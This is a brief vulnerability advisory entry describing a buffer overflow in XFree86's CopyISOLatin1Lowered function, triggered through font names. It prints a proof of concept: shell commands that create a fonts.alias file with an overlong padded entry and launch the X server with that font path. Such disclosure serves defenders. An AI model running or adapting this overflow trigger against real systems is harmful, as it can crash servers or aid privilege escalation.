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XFree86 CopyISOLatin1Lowered Font_Name Buffer Overflow Vulnerability
The following proof of concept has been supplied: # cat > fonts.dir <<EOF 1 word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1 EOF # perl -e 'print "data " . "0" x 2048 . "A" x 96 . "\n"' > fonts.alias # X :0 -fp $PWD |
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